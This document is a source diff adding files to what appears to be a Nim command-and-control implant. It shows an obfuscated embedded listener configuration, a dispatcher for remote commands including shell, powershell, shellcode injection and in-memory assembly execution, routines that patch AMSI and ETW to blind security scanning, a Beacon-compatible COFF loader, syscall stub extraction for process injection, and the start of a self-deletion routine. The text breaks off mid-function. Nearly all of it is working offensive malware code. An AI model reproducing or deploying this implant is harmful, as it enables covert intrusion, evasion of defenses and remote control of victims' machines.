used for pre-crypto operations + # This is handled by the Python wrapper at compile time, the default value shouldn't be used + const xor_key {.intdefine.}: int = 459457925 + + # Embed the configuration as a XORed sequence of bytes at COMPILE-time + const embeddedConf = xorStringToByteSeq(staticRead(obf("../../config.toml")), xor_key) + + # Decode the configuration at RUNtime and parse the TOML to store it in a basic table + var tomlConfig = parsetoml.parseString(xorByteSeqToString(embeddedConf, xor_key)) + config[obf("hostname")] = tomlConfig[obf("listener")][obf("hostname")].getStr() + config[obf("listenerType")] = tomlConfig[obf("listener")][obf("type")].getStr() + config[obf("listenerIp")] = tomlConfig[obf("listener")][obf("ip")].getStr() + config[obf("listenerPort")] = $tomlConfig[obf("listener")][obf("port")].getInt() + config[obf("listenerRegPath")] = tomlConfig[obf("listener")][obf("registerPath")].getStr() + config[obf("listenerTaskPath")] = tomlConfig[obf("listener")][obf("taskPath")].getStr() + config[obf("listenerResPath")] = tomlConfig[obf("listener")][obf("resultPath")].getStr() + + config[obf("killDate")] = $tomlConfig[obf("nimplant")][obf("killDate")].getStr() + config[obf("sleepTime")] = $tomlConfig[obf("nimplant")][obf("sleepTime")].getInt() + config[obf("sleepJitter")] = $tomlConfig[obf("nimplant")][obf("sleepJitter")].getInt() + config[obf("userAgent")] = tomlConfig[obf("nimplant")][obf("userAgent")].getStr() + + return config + +# Parse user commands that do not affect the listener object here +proc parseCmd*(li : Listener, cmd : string, cmdGuid : string, args : seq[string]) : string = + + try: + # Parse the received command + # This code isn't too pretty, but using 'case' optimizes away the string obfuscation used here + if cmd == obf("cat"): + result = cat(args) + elif cmd == obf("cd"): + result = cd(args) + elif cmd == obf("cp"): + result = cp(args) + elif cmd == obf("curl"): + result = curl(li, args) + elif cmd == obf("download"): + result = download(li, cmdGuid, args) + elif cmd == obf("env"): + result = env() + elif cmd == obf("getav"): + result = getAv() + elif cmd == obf("getdom"): + result = getDom() + elif cmd == obf("getlocaladm"): + result = getLocalAdm() + elif cmd == obf("ls"): + result = ls(args) + elif cmd == obf("mkdir"): + result = mkdir(args) + elif cmd == obf("mv"): + result = mv(args) + elif cmd == obf("ps"): + result = ps() + elif cmd == obf("pwd"): + result = pwd() + elif cmd == obf("reg"): + result = reg(args) + elif cmd == obf("rm"): + result = rm(args) + elif cmd == obf("run"): + result = run(args) + elif cmd == obf("upload"): + result = upload(li, cmdGuid, args) + elif cmd == obf("wget"): + result = wget(li, args) + elif cmd == obf("whoami"): + result = whoami() + else: + # Parse risky commands, if enabled + when defined risky: + if cmd == obf("execute-assembly"): + result = executeAssembly(li, args) + elif cmd == obf("inline-execute"): + result = inlineExecute(li, args) + elif cmd == obf("powershell"): + result = powershell(args) + elif cmd == obf("shell"): + result = shell(args) + elif cmd == obf("shinject"): + result = shinject(li, args) + else: + result = obf("ERROR: An unknown command was received.") + else: + result = obf("ERROR: An unknown command was received.") + + # Catch unhandled exceptions during command execution (commonly OS exceptions) + except: + let + msg = getCurrentExceptionMsg() + + result = obf("ERROR: An unhandled exception occurred.\nException: ") & msg \ No newline at end of file diff --git a/client/util/patches.nim b/client/util/patches.nim new file mode 100644 index 0000000..2688b3c --- /dev/null +++ b/client/util/patches.nim @@ -0,0 +1,65 @@ +import winim/lean +import dynlib +import strenc + +# Patch AMSI to stop dotnet and unmanaged powershell buffers from being scanned +proc patchAMSI*(): int = + const + patchBytes: array[3, byte] = [byte 0x48, 0x31, 0xc0] + var + amsi: LibHandle + patchAddress: pointer + oldProtect: DWORD + tmp: DWORD + currentBytes: array[3, byte] + + amsi = loadLib(obf("amsi")) + if isNil(amsi): + return 1 # ERR + + patchAddress = cast[pointer](cast[int](amsi.symAddr(obf("AmsiScanBuffer"))) + cast[int](0x6a)) + if isNil(patchAddress): + return 1 # ERR + + # Verify if AMSI has already been patched + copyMem(addr(currentBytes[0]), patchAddress, 3) + if currentBytes == patchBytes: + return 2 # Already patched + + if VirtualProtect(patchAddress, patchBytes.len, 0x40, addr oldProtect): + copyMem(patchAddress, unsafeAddr patchBytes, patchBytes.len) + VirtualProtect(patchAddress, patchBytes.len, oldProtect, addr tmp) + return 0 # OK + + return 1 # ERR + +# Patch ETW to stop event tracing +proc patchETW*(): int = + const + patchBytes: array[1, byte] = [byte 0xc3] + var + ntdll: LibHandle + patchAddress: pointer + oldProtect: DWORD + tmp: DWORD + currentBytes: array[1, byte] + + ntdll = loadLib(obf("ntdll")) + if isNil(ntdll): + return 1 # ERR + + patchAddress = ntdll.symAddr(obf("EtwEventWrite")) + if isNil(patchAddress): + return 1 # ERR + + # Verify if ETW has already been patched + copyMem(addr(currentBytes[0]), patchAddress, 1) + if currentBytes == patchBytes: + return 2 # Already patched + + if VirtualProtect(patchAddress, patchBytes.len, 0x40, addr oldProtect): + copyMem(patchAddress, unsafeAddr patchBytes, patchBytes.len) + VirtualProtect(patchAddress, patchBytes.len, oldProtect, addr tmp) + return 0 # OK + + return 1 # ERR \ No newline at end of file diff --git a/client/util/risky/beaconFunctions.nim b/client/util/risky/beaconFunctions.nim new file mode 100644 index 0000000..c548256 --- /dev/null +++ b/client/util/risky/beaconFunctions.nim @@ -0,0 +1,340 @@ +# Taken from the excellent NiCOFF project by @frkngksl +# Source: https://github.com/frkngksl/NiCOFF/blob/main/BeaconFunctions.nim + +import winim/lean +import ptr_math +import system +import ../strenc + +#[ +typedef struct { + char* original; /* the original buffer [so we can free it] */ + char* buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; +]# + +# I directly turned beacon_compatibility.c to Nim. There are some empty functions beacuse the implementations there were not given, and I'm not familiar with these functions. +type + Datap* {.bycopy,packed.} = object + original*: ptr char + buffer*: ptr char + length*: int + size*: int +#[ +typedef struct { + char* original; /* the original buffer [so we can free it] */ + char* buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; +]# + Formatp* {.bycopy,packed.} = object + original*: ptr char + buffer*: ptr char + length*: int + size*: int + + +var beaconCompatibilityOutput:ptr char = nil +var beaconCompatibilitySize: int = 0 +var beaconCompatibilityOffset: int = 0 + + +# void BeaconDataParse(datap* parser, char* buffer, int size) +proc BeaconDataParse(parser:ptr Datap,buffer: ptr char,size:int):void{.stdcall.} = + if(cast[uint64](parser) == 0): + return + parser.original = buffer + parser.buffer = buffer + parser.length = size-4 + parser.size = size-4 + parser.buffer += 4 + return + +# int BeaconDataInt(datap* parser); +proc BeaconDataInt(parser:ptr Datap):int{.stdcall.} = + var returnValue:int = 0 + if(parser.length < 4): + return returnValue + copyMem(addr(returnValue),parser.buffer,4) + parser.length-=4 + parser.buffer+=4 + return returnValue + +# short BeaconDataShort(datap* parser); +proc BeaconDataShort(parser:ptr Datap):int16{.stdcall.} = + var returnValue:int16 = 0 + if(parser.length < 2): + return returnValue + copyMem(addr(returnValue),parser.buffer,2) + parser.length-=2 + parser.buffer+=2 + return returnValue + +# int BeaconDataLength(datap* parser); +proc BeaconDataLength(parser:ptr Datap):int{.stdcall.} = + return parser.length + +# char* BeaconDataExtract(datap* parser, int* size); +proc BeaconDataExtract(parser:ptr Datap,size:ptr int):ptr char{.stdcall.} = + var length:int32 = 0 + var outData: ptr char = nil + if(parser.length < 4): + return NULL + copyMem(addr(length),parser.buffer,4) + parser.buffer += 4 + outData = parser.buffer + if(outData == NULL): + return NULL + parser.length -= 4 + parser.length -= length + parser.buffer += length + if(size != NULL and outData != NULL): + size[] = length + return outData + +# void BeaconFormatAlloc(formatp* format, int maxsz); +proc BeaconFormatAlloc(format:ptr Formatp,maxsz:int):void{.stdcall.} = + if(format == NULL): + return + #format.original = cast[ptr char](HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,maxsz)) + format.original = cast[ptr char](alloc(maxsz)) + var cursorPtr:ptr byte = cast[ptr byte](format.original) + for i in countup(0,maxsz-1): + cursorPtr[] = 0x00 + cursorPtr+=1 + format.buffer = format.original + format.length = 0 + format.size = maxsz + +# void BeaconFormatReset(formatp* format); +proc BeaconFormatReset(format:ptr Formatp):void{.stdcall.} = + var cursorPtr:ptr byte = cast[ptr byte](format.original) + for i in countup(0,format.size-1): + cursorPtr[] = 0x00 + cursorPtr+=1 + format.buffer = format.original + format.length = format.size + +# void BeaconFormatFree(formatp* format); +proc BeaconFormatFree(format:ptr Formatp):void{.stdcall.} = + if(format == NULL): + return + if(cast[uint64](format.original) != 0): + dealloc(format.original) + #HeapFree(GetProcessHeap(),cast[DWORD](NULL),cast[LPVOID](format.original)) + format.original = NULL + format.buffer = NULL + format.length = 0 + format.size = 0 + +# void BeaconFormatAppend(formatp* format, char* text, int len); +proc BeaconFormatAppend(format:ptr Formatp,text:ptr char,len:int):void{.stdcall.} = + copyMem(format.buffer,text,len) + format.buffer+=len + format.length+=len + +# void BeaconPrintf(int type, char* fmt, ...); +# Reference: https://forum.nim-lang.org/t/7352 +type va_list* {.importc: "va_list", header: "".} = object +proc va_start(format: va_list, args: ptr char) {.stdcall, importc, header: "stdio.h"} +proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"} +proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"} +proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".} + + +# void BeaconFormatPrintf(formatp* format, char* fmt, ...); +proc BeaconFormatPrintf(format:ptr Formatp,fmt:ptr char):void{.stdcall, varargs.} = + var length:int = 0 + var args: va_list + va_start(args, fmt) + length = vsnprintf(NULL, 0, fmt, args) + va_end(args) + if(format.length + length > format.size): + return + va_start(args, fmt) + discard vsnprintf(format.buffer,length,fmt,args) + va_end(args) + format.length+=length + format.buffer+=length + +# char* BeaconFormatToString(formatp* format, int* size); +proc BeaconFormatToString(format:ptr Formatp,size:ptr int):ptr char{.stdcall.} = + size[] = format.length + return format.original + + +# uint32_t swap_endianess(uint32_t indata); +proc SwapEndianess(indata:uint32):uint32{.stdcall.} = + var testInt:uint32 = cast[uint32](0xaabbccdd) + var outInt:uint32 = indata + if(cast[ptr uint8](unsafeaddr(testInt))[] == 0xdd): + cast[ptr uint8](unsafeaddr(outInt))[] = (cast[ptr uint8](unsafeaddr(indata))+3)[] + (cast[ptr uint8](unsafeaddr(outInt))+1)[] = (cast[ptr uint8](unsafeaddr(indata))+2)[] + (cast[ptr uint8](unsafeaddr(outInt))+2)[] = (cast[ptr uint8](unsafeaddr(indata))+1)[] + (cast[ptr uint8](unsafeaddr(outInt))+3)[] = cast[ptr uint8](unsafeaddr(indata))[] + return outint + + +# void BeaconFormatInt(formatp* format, int value); +proc BeaconFormatInt(format:ptr Formatp,value:int):void{.stdcall.} = + var indata:uint32 = cast[uint32](value) + var outdata:uint32 = 0 + if(format.length + 4 > format.size): + return + outdata = SwapEndianess(indata) + copyMem(format.buffer,addr(outdata),4) + format.length += 4 + format.buffer += 4 + +const + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_ERROR = 0x0d + CALLBACK_OUTPUT_UTF8 = 0x20 + + +proc BeaconPrintf(typeArg:int,fmt:ptr char):void{.stdcall, varargs.} = + var length:int = 0 + var tempPtr:ptr char = nil + var args: va_list + va_start(args, fmt) + vprintf(fmt, args) + va_end(args) + + va_start(args, fmt) + length = vsnprintf(NULL,0,fmt,args) + va_end(args) + tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize+length+1)) + if(tempPtr == nil): + return + beaconCompatibilityOutput = tempPtr + for i in countup(0,length): + (beaconCompatibilityOutput + beaconCompatibilityOffset + i)[] = cast[char](0x00) + va_start(args, fmt) + length = vsnprintf(beaconCompatibilityOutput+beaconCompatibilityOffset,length,fmt,args) + beaconCompatibilitySize += length + beaconCompatibilityOffset += length + va_end(args) + + + + +#void BeaconOutput(int type, char* data, int len); +proc BeaconOutput(typeArg:int,data:ptr char,len:int):void{.stdcall.} = + var tempPtr:ptr char = nil + tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1)) + beaconCompatibilityOutput = tempPtr + if(tempPtr == nil): + return + for i in countup(0,len): + (beaconCompatibilityOutput + beaconCompatibilityOffset + i)[] = cast[char](0x00) + copyMem(beaconCompatibilityOutput+beaconCompatibilityOffset,data,len) + beaconCompatibilitySize += len + beaconCompatibilityOffset += len + #[ + if(beacon_compatibility_output != nil): + tempPtr = HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,beacon_compatibility_output,) + ]# + +# Token Functions + +# BOOL BeaconUseToken(HANDLE token); +proc BeaconUseToken(token: HANDLE):BOOL{.stdcall.} = + SetThreadToken(NULL,token) + return TRUE + +# void BeaconRevertToken(); +proc BeaconRevertToken():void{.stdcall.} = + RevertToSelf() + +# BOOL BeaconIsAdmin(); +# Not implemented +proc BeaconIsAdmin():BOOL{.stdcall.} = + return FALSE + +# Spawn+Inject Functions +# void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); +proc BeaconGetSpawnTo(x86: BOOL, buffer:ptr char, length:int):void{.stdcall.} = + var tempBufferPath:string = "" + if(cast[uint64](buffer) == 0): + return + if(x86): + tempBufferPath = obf("C:\\Windows\\SysWOW64\\rundll32.exe") + if(tempBufferPath.len > length): + return + copyMem(buffer,unsafeaddr(tempBufferPath[0]),tempBufferPath.len) + else: + tempBufferPath = obf("C:\\Windows\\System32\\rundll32.exe") + if(tempBufferPath.len > length): + return + copyMem(buffer,unsafeaddr(tempBufferPath[0]),tempBufferPath.len) + +# BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo); +proc BeaconSpawnTemporaryProcess(x86: BOOL, ignoreToken:BOOL, sInfo:ptr STARTUPINFOA, pInfo: ptr PROCESS_INFORMATION):BOOL{.stdcall.} = + var bSuccess:BOOL = FALSE + if(x86): + bSuccess = CreateProcessA(NULL,obf("C:\\Windows\\SysWOW64\\rundll32.exe"),NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,sInfo,pInfo) + else: + bSuccess = CreateProcessA(NULL,obf("C:\\Windows\\System32\\rundll32.exe"),NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,sInfo,pInfo) + return bSuccess + +# void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); +# Not implemented +proc BeaconInjectProcess(hProc: HANDLE, pid:int, payload:ptr char, p_len: int,p_offset: int, arg:ptr char, a_len:int):void{.stdcall.} = + return + +# void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); +# Not implemented +proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload:ptr char, p_len: int,p_offset: int, arg:ptr char, a_len:int):void{.stdcall.} = + return + +# void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); +proc BeaconCleanupProcess(pInfo: ptr PROCESS_INFORMATION):void{.stdcall.} = + CloseHandle(pInfo.hThread) + CloseHandle(pInfo.hProcess) + +# Utility Functions +# BOOL toWideChar(char* src, wchar_t* dst, int max); TODO FIX +# Not implemented +proc toWideChar(src:ptr char,dst: ptr char ,max: int):BOOL{.stdcall.} = + return FALSE + + +# char* BeaconGetOutputData(int* outsize); +proc BeaconGetOutputData*(outSize:ptr int):ptr char{.stdcall.} = + var outData:ptr char = beaconCompatibilityOutput + if(cast[uint64](outSize) != 0): + outsize[] = beaconCompatibilitySize + beaconCompatibilityOutput = NULL + beaconCompatibilitySize = 0 + beaconCompatibilityOffset = 0 + return outData + +var functionAddresses*:array[23,tuple[name: string, address: uint64]] = [ + (obf("BeaconDataParse"), cast[uint64](BeaconDataParse)), + (obf("BeaconDataInt"), cast[uint64](BeaconDataInt)), + (obf("BeaconDataShort"), cast[uint64](BeaconDataShort)), + (obf("BeaconDataLength"), cast[uint64](BeaconDataLength)), + (obf("BeaconDataExtract"), cast[uint64](BeaconDataExtract)), + (obf("BeaconFormatAlloc"), cast[uint64](BeaconFormatAlloc)), + (obf("BeaconFormatReset"), cast[uint64](BeaconFormatReset)), + (obf("BeaconFormatFree"), cast[uint64](BeaconFormatFree)), + (obf("BeaconFormatAppend"), cast[uint64](BeaconFormatAppend)), + (obf("BeaconFormatPrintf"), cast[uint64](BeaconFormatPrintf)), + (obf("BeaconFormatToString"), cast[uint64](BeaconFormatToString)), + (obf("BeaconFormatInt"), cast[uint64](BeaconFormatInt)), + (obf("BeaconPrintf"), cast[uint64](BeaconPrintf)), + (obf("BeaconOutput"), cast[uint64](BeaconOutput)), + (obf("BeaconUseToken"), cast[uint64](BeaconUseToken)), + (obf("BeaconRevertToken"), cast[uint64](BeaconRevertToken)), + (obf("BeaconIsAdmin"), cast[uint64](BeaconIsAdmin)), + (obf("BeaconGetSpawnTo"), cast[uint64](BeaconGetSpawnTo)), + (obf("BeaconSpawnTemporaryProcess"), cast[uint64](BeaconSpawnTemporaryProcess)), + (obf("BeaconInjectProcess"), cast[uint64](BeaconInjectProcess)), + (obf("BeaconInjectTemporaryProcess"), cast[uint64](BeaconInjectTemporaryProcess)), + (obf("BeaconCleanupProcess"), cast[uint64](BeaconCleanupProcess)), + (obf("toWideChar"), cast[uint64](toWideChar)) +] \ No newline at end of file diff --git a/client/util/risky/delegates.nim b/client/util/risky/delegates.nim new file mode 100644 index 0000000..32a5b38 --- /dev/null +++ b/client/util/risky/delegates.nim @@ -0,0 +1,62 @@ +import winim/lean + +type + PS_ATTR_UNION* {.pure, union.} = object + Value*: ULONG + ValuePtr*: PVOID + PS_ATTRIBUTE* {.pure.} = object + Attribute*: ULONG + Size*: SIZE_T + u1*: PS_ATTR_UNION + ReturnLength*: PSIZE_T + PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE + PS_ATTRIBUTE_LIST* {.pure.} = object + TotalLength*: SIZE_T + Attributes*: array[2, PS_ATTRIBUTE] + PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST + KNORMAL_ROUTINE* {.pure.} = object + NormalContext*: PVOID + SystemArgument1*: PVOID + SystemArgument2*: PVOID + PKNORMAL_ROUTINE* = ptr KNORMAL_ROUTINE + +type NtOpenProcess* = proc( + ProcessHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ClientId: PCLIENT_ID): NTSTATUS {.stdcall.} + +type NtAllocateVirtualMemory* = proc( + ProcessHandle: HANDLE, + BaseAddress: PVOID, + ZeroBits: ULONG, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG): NTSTATUS {.stdcall.} + +type NtWriteVirtualMemory* = proc( + ProcessHandle: HANDLE, + BaseAddress: PVOID, + Buffer: PVOID, + NumberOfBytesToWrite: SIZE_T, + NumberOfBytesWritten: PSIZE_T): NTSTATUS {.stdcall.} + +type NtProtectVirtualMemory* = proc( + ProcessHandle: HANDLE, + BaseAddress: PVOID, + NumberOfBytesToProtect: PSIZE_T, + NewAccessProtection: ULONG, + OldAccessProtection: PULONG): NTSTATUS {.stdcall.} + +type NtCreateThreadEx* = proc( + ThreadHandle: PHANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: POBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.stdcall.} \ No newline at end of file diff --git a/client/util/risky/dinvoke.nim b/client/util/risky/dinvoke.nim new file mode 100644 index 0000000..57261f6 --- /dev/null +++ b/client/util/risky/dinvoke.nim @@ -0,0 +1,59 @@ +import winim/lean +import strutils +import ptr_math + +var + SYSCALL_STUB_SIZE*: int = 23 + +proc RVAtoRawOffset(RVA: DWORD_PTR, section: PIMAGE_SECTION_HEADER): PVOID = + return cast[PVOID](RVA - section.VirtualAddress + section.PointerToRawData) + +proc toString(bytes: openarray[byte]): string = + result = newString(bytes.len) + copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len) + +proc GetSyscallStub*(functionName: LPCSTR, syscallStub: LPVOID): BOOL = + var + file: HANDLE + fileSize: DWORD + bytesRead: DWORD + fileData: LPVOID + ntdllString: LPCSTR = "C:\\windows\\system32\\ntdll.dll" + nullHandle: HANDLE + + file = CreateFileA(ntdllString, cast[DWORD](GENERIC_READ), cast[DWORD](FILE_SHARE_READ), cast[LPSECURITY_ATTRIBUTES](NULL), cast[DWORD](OPEN_EXISTING), cast[DWORD](FILE_ATTRIBUTE_NORMAL), nullHandle) + fileSize = GetFileSize(file, nil) + fileData = HeapAlloc(GetProcessHeap(), 0, fileSize) + ReadFile(file, fileData, fileSize, addr bytesRead, nil) + + var + dosHeader: PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](fileData) + imageNTHeaders: PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](fileData) + dosHeader.e_lfanew) + exportDirRVA: DWORD = imageNTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + section: PIMAGE_SECTION_HEADER = IMAGE_FIRST_SECTION(imageNTHeaders) + textSection: PIMAGE_SECTION_HEADER = section + rdataSection: PIMAGE_SECTION_HEADER = section + + let i: uint16 = 0 + for Section in i ..< imageNTHeaders.FileHeader.NumberOfSections: + var ntdllSectionHeader = cast[PIMAGE_SECTION_HEADER](cast[DWORD_PTR](IMAGE_FIRST_SECTION(imageNTHeaders)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) + if ".rdata" in toString(ntdllSectionHeader.Name): + rdataSection = ntdllSectionHeader + + var exportDirectory: PIMAGE_EXPORT_DIRECTORY = cast[PIMAGE_EXPORT_DIRECTORY](RVAtoRawOffset(cast[DWORD_PTR](fileData) + exportDirRVA, rdataSection)) + + var addressOfNames: PDWORD = cast[PDWORD](RVAtoRawOffset(cast[DWORD_PTR](fileData) + cast[DWORD_PTR](exportDirectory.AddressOfNames), rdataSection)) + var addressOfFunctions: PDWORD = cast[PDWORD](RVAtoRawOffset(cast[DWORD_PTR](fileData) + cast[DWORD_PTR](exportDirectory.AddressOfFunctions), rdataSection)) + var stubFound: BOOL = 0 + + let j: int = 0 + for j in 0 ..< exportDirectory.NumberOfNames: + var functionNameVA: DWORD_PTR = cast[DWORD_PTR](RVAtoRawOffset(cast[DWORD_PTR](fileData) + addressOfNames[j], rdataSection)) + var functionVA: DWORD_PTR = cast[DWORD_PTR](RVAtoRawOffset(cast[DWORD_PTR](fileData) + addressOfFunctions[j + 1], textSection)) + var functionNameResolved: LPCSTR = cast[LPCSTR](functionNameVA) + var compare: int = lstrcmpA(functionNameResolved,functionName) + if (compare == 0): + copyMem(syscallStub, cast[LPVOID](functionVA), SYSCALL_STUB_SIZE) + stubFound = 1 + + return stubFound \ No newline at end of file diff --git a/client/util/risky/structs.nim b/client/util/risky/structs.nim new file mode 100644 index 0000000..7621a7e --- /dev/null +++ b/client/util/risky/structs.nim @@ -0,0 +1,151 @@ +# Taken from the excellent NiCOFF project by @frkngksl +# Source: https://github.com/frkngksl/NiCOFF/blob/main/Structs.nim + +# The bycopy pragma can be applied to an object or tuple type and instructs the compiler to pass the type by value to procs +# * means global type +# Some structs here should be exist in winim/lean but anyway, maybe someone needs such thing . Oi! +type + #[ + typedef struct { + UINT16 Machine; + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; + } FileHeader; + ]# + FileHeader* {.bycopy,packed.} = object + Machine*: uint16 + NumberOfSections*: uint16 + TimeDateStamp*: uint32 + PointerToSymbolTable*: uint32 + NumberOfSymbols*: uint32 + SizeOfOptionalHeader*: uint16 + Characteristics*: uint16 + + #[ + typedef struct { + char Name[8]; //8 bytes long null-terminated string + UINT32 VirtualSize; //total size of section when loaded into memory, 0 for COFF, might be different because of padding + UINT32 VirtualAddress; //address of the first byte of the section before relocations are applied, should be set to 0 + UINT32 SizeOfRawData; //The size of the section for COFF files + UINT32 PointerToRawData; //Pointer to the beginning of the section for COFF + UINT32 PointerToRelocations; //File pointer to the beginning of relocation entries + UINT32 PointerToLinenumbers; //The file pointer to the beginning of line-number entries for the section. T + UINT16 NumberOfRelocations; //The number of relocation entries for the section. This is set to zero for executable images. + UINT16 NumberOfLinenumbers; //The number of line-number entries for the section. This value should be zero for an image because COFF debugging information is deprecated. + UINT32 Characteristics; //The flags that describe the characteristics of the section + } SectionHeader; + ]# + SectionHeader* {.bycopy,packed.} = object + Name*: array[8,char] + VirtualSize*: uint32 + VirtualAddress*: uint32 + SizeOfRawData*: uint32 + PointerToRawData*: uint32 + PointerToRelocations*: uint32 + PointerToLinenumbers*: uint32 + NumberOfRelocations*: uint16 + NumberOfLinenumbers*: uint16 + Characteristics*: uint32 + + #[ + typedef struct { + union { + char Name[8]; //8 bytes, name of the symbol, represented as a union of 3 structs + UINT32 value[2]; //TODO: what does this represent?! + } first; + UINT32 Value; //meaning depends on the section number and storage class + UINT16 SectionNumber; //signed int, some values have predefined meaning + UINT16 Type; // + UINT8 StorageClass; // + UINT8 NumberOfAuxSymbols; + } SymbolTableEntry; + ]# + + UnionFirst* {.final,union,pure.} = object + Name*: array[8,char] + value*: array[2,uint32] + + + + SymbolTableEntry* {.bycopy, packed.} = object + First*: UnionFirst + Value*: uint32 + SectionNumber*: uint16 + Type*: uint16 + StorageClass*: uint8 + NumberOfAuxSymbols*: uint8 + + #[ + typedef struct { + UINT32 VirtualAddress; + UINT32 SymbolTableIndex; + UINT16 Type; + } RelocationTableEntry; + ]# + + RelocationTableEntry* {.bycopy, packed.} = object + VirtualAddress*: uint32 + SymbolTableIndex*: uint32 + Type*: uint16 + + SectionInfo* {.bycopy.} = object + Name*: string + SectionOffset*: uint64 + SectionHeaderPtr*: ptr SectionHeader + + +const + IMAGE_REL_AMD64_ABSOLUTE = 0x0000 + IMAGE_REL_AMD64_ADDR64 = 0x0001 + IMAGE_REL_AMD64_ADDR32 = 0x0002 + IMAGE_REL_AMD64_ADDR32NB = 0x0003 +# Most common from the looks of it, just 32-bit relative address from the byte following the relocation + IMAGE_REL_AMD64_REL32 = 0x0004 +# Second most common, 32-bit address without an image base. Not sure what that means... + IMAGE_REL_AMD64_REL32_1 = 0x0005 + IMAGE_REL_AMD64_REL32_2 = 0x0006 + IMAGE_REL_AMD64_REL32_3 = 0x0007 + IMAGE_REL_AMD64_REL32_4 = 0x0008 + IMAGE_REL_AMD64_REL32_5 = 0x0009 + IMAGE_REL_AMD64_SECTION = 0x000A + IMAGE_REL_AMD64_SECREL = 0x000B + IMAGE_REL_AMD64_SECREL7 = 0x000C + IMAGE_REL_AMD64_TOKEN = 0x000D + IMAGE_REL_AMD64_SREL32 = 0x000E + IMAGE_REL_AMD64_PAIR = 0x000F + IMAGE_REL_AMD64_SSPAN32 = 0x0010 + +# Storage classes. + + IMAGE_SYM_CLASS_END_OF_FUNCTION = cast[byte](-1) + IMAGE_SYM_CLASS_NULL = 0x0000 + IMAGE_SYM_CLASS_AUTOMATIC = 0x0001 + IMAGE_SYM_CLASS_EXTERNAL = 0x0002 + IMAGE_SYM_CLASS_STATIC = 0x0003 + IMAGE_SYM_CLASS_REGISTER = 0x0004 + IMAGE_SYM_CLASS_EXTERNAL_DEF = 0x0005 + IMAGE_SYM_CLASS_LABEL = 0x0006 + IMAGE_SYM_CLASS_UNDEFINED_LABEL = 0x0007 + IMAGE_SYM_CLASS_MEMBER_OF_STRUCT = 0x0008 + IMAGE_SYM_CLASS_ARGUMENT = 0x0009 + IMAGE_SYM_CLASS_STRUCT_TAG = 0x000A + IMAGE_SYM_CLASS_MEMBER_OF_UNION = 0x000B + IMAGE_SYM_CLASS_UNION_TAG = 0x000C + IMAGE_SYM_CLASS_TYPE_DEFINITION = 0x000D + IMAGE_SYM_CLASS_UNDEFINED_STATIC = 0x000E + IMAGE_SYM_CLASS_ENUM_TAG = 0x000F + IMAGE_SYM_CLASS_MEMBER_OF_ENUM = 0x0010 + IMAGE_SYM_CLASS_REGISTER_PARAM = 0x0011 + IMAGE_SYM_CLASS_BIT_FIELD = 0x0012 + IMAGE_SYM_CLASS_FAR_EXTERNAL = 0x0044 + IMAGE_SYM_CLASS_BLOCK = 0x0064 + IMAGE_SYM_CLASS_FUNCTION = 0x0065 + IMAGE_SYM_CLASS_END_OF_STRUCT = 0x0066 + IMAGE_SYM_CLASS_FILE = 0x0067 + IMAGE_SYM_CLASS_SECTION = 0x0068 + IMAGE_SYM_CLASS_WEAK_EXTERNAL = 0x0069 + IMAGE_SYM_CLASS_CLR_TOKEN = 0x006B \ No newline at end of file diff --git a/client/util/selfDelete.nim b/client/util/selfDelete.nim new file mode 100644 index 0000000..d67d8af --- /dev/null +++ b/client/util/selfDelete.nim @@ -0,0 +1,86 @@ +import strenc +from winim import PathFileExistsW +from winim/lean import HINSTANCE, DWORD, LPVOID, WCHAR, PWCHAR, LPWSTR, HANDLE, NULL, TRUE, WINBOOL, MAX_PATH +from winim/lean import DELETE, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, FILE_DISPOSITION_INFO, INVALID_HANDLE_VALUE +from winim/lean import CreateFileW, RtlSecureZeroMemory, RtlCopyMemory, SetFileInformationByHandle, GetModuleFileNameW, CloseHandle + +type + FILE_RENAME_INFO = object + ReplaceIfExists*: WINBOOL + RootDirectory*: HANDLE + FileNameLength*: DWORD + FileName*: array[8, WCHAR] + +proc dsOpenHandle(pwPath: PWCHAR): HANDLE = + return CreateFileW(pwPath, 